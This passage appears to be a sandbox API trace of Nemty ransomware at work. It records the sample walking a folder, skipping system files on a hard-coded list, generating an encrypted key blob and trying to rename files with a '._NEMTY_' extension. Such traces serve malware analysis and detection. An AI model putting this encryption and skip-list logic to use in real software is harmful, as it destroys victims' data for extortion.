lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8680f0bd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8680f0bd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aa9137b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="12.png", cAlternateFileName="")) returned 1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2=".") returned 1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="..") returned 1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="...") returned 1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="windows") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="$RECYCLE.BIN") returned 1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="rsa") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="NTDETECT.COM") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="ntldr") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="MSDOS.SYS") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="IO.SYS") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="boot.ini") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="boot.ini") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="AUTOEXEC.BAT") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="ntuser.dat") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="desktop.ini") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="CONFIG.SYS") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="RECYCLER") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="BOOTSECT.BAK") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="bootmgr") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="programdata") returned -1 [0151.596] lstrcmpiW (lpString1="12.png", lpString2="appdata") returned -1 [0151.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="12.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="12.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12.png", lpUsedDefaultChar=0x0) returned 6 [0151.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="12.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="12.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12.png", lpUsedDefaultChar=0x0) returned 6 [0151.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="12.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="12.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12.png", lpUsedDefaultChar=0x0) returned 6 [0151.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="12.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="12.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12.png", lpUsedDefaultChar=0x0) returned 6 [0151.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0151.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0151.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0151.596] Sleep (dwMilliseconds=0x5) [0151.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe01b6f0, dwHighDateTime=0x1d561e8)) [0151.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe01b6f0, dwHighDateTime=0x1d561e8)) [0151.599] GetLastError () returned 0x5 [0151.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.599] GetLastError () returned 0x5 [0151.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.599] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0151.599] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0151.599] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0151.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0151.599] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="9HF4NhyXQ89yT4forQIDwJ+pFr7obCHOTir4kLwSjTHAfEM3Y8gKs3BDGIj0CVx3\r\nayKqwKsaXgB+lVmowPWSMJGY8ozOnlg41OGv+FaUVYHE/P9dF/TNQkjNawpARNYz\r\n8J6pQKZwvEZX9DIS2COpFXT9CUG7SWv2V0uie1hnNjspK9yCVHv7r1IS/KpjVkBc\r\njdNFBF7TGJEzJ/5ztpoEsAHEViHAakxuOzHyWcpClrVD105hdJ5jZ9bN3saveJOw\r\nyd/nrpMGtU3yZGVKOFPp5ocmUehyRtFFc7AVY/yIJ3Jj3N0zQah5mWKq+7zuEp4T\r\nsTJtdwiUYPxicB9J+9XpVA==\r\n", pcchString=0x653e91c) returned 1 [0151.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0151.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0151.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0151.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0151.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0151.599] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\12.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.599] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0151.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0151.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.599] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.609] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.609] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.627] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.627] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.636] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.636] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.646] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.646] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.655] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.655] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.664] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.664] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.697] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0151.703] CloseHandle (hObject=0xffffffff) returned 0 [0151.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0151.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0151.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0151.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0151.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0151.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0151.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0151.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\12.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\12.png._nemty_kgobjgd_")) returned 0 [0151.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0151.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0151.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0151.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0151.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0151.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0151.704] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="120DPI", cAlternateFileName="")) returned 1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2=".") returned 1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="..") returned 1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="...") returned 1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="windows") returned -1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="$RECYCLE.BIN") returned 1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="rsa") returned -1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="NTDETECT.COM") returned -1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="ntldr") returned -1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="MSDOS.SYS") returned -1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="IO.SYS") returned -1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="boot.ini") returned -1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="boot.ini") returned -1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="AUTOEXEC.BAT") returned -1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="ntuser.dat") returned -1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="desktop.ini") returned -1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="CONFIG.SYS") returned -1 [0151.704] lstrcmpiW (lpString1="120DPI", lpString2="RECYCLER") returned -1 [0151.705] lstrcmpiW (lpString1="120DPI", lpString2="BOOTSECT.BAK") returned -1 [0151.705] lstrcmpiW (lpString1="120DPI", lpString2="bootmgr") returned -1 [0151.705] lstrcmpiW (lpString1="120DPI", lpString2="programdata") returned -1 [0151.705] lstrcmpiW (lpString1="120DPI", lpString2="appdata") returned -1 [0151.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="120DPI", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="120DPI", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="120DPI", lpUsedDefaultChar=0x0) returned 6 [0151.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="120DPI", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="120DPI", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="120DPI", lpUsedDefaultChar=0x0) returned 6 [0151.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0151.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0151.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0151.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0151.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0151.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0151.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0151.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340188 [0151.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.705] 